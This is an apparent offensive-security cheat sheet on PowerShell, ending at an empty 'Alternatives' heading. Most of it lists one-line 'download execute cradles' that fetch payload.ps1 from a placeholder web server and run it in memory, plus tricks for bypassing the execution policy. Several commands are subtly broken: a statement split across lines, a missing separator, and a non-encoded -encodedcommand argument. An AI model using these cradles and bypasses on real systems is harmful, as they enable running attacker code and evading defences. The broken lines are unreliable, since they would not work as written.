What Is It?

Cross-platform task automation solution, consisting of a command-line shell, a scripting language, and configuration management, which is preinstalled on all modern Windows versions.

Typical Usage

Load a script:

C:\Scripts\Script.ps1

Import a module or script:

Import-Module C:\Script\Script.ps1

Get all available commands for a module:

Get-Command -Module Script

Download a script and execute it in memory (download execute cradles):

iex (New-Object Net.WebClient).DownloadString('https://webserver/payload.ps1')
 
$ie=New-Object -ComObject
InternetExplorer.Application;$ie.visible=$False;$ie.navigate('https://webserver/payload.ps1');sleep 5;$response=$ie.Document.body.innerHTML;$ie.quit();iex $response
 
iex (iwr 'https://webserver/payload.ps1')
 
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','https://webserver/payload.ps1',$false);$h.send();iex $h.responseText
 
$wr = [System.NET.WebRequest]::Create("https://webserver/payload.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd()

Sometimes the execution policy won’t allow you to execute scripts, but you can bypass restricted execution policies (or use tools like Invisi-Shell):

powershell -ExecutionPolicy bypass
powershell -c <cmd>
powershell -encodedcommand $env:PSExecutionPolicyPreference="bypass"

Special Considerations

  • Powershell is not Powershell.exe but System.Management.Automation.dll

Alternatives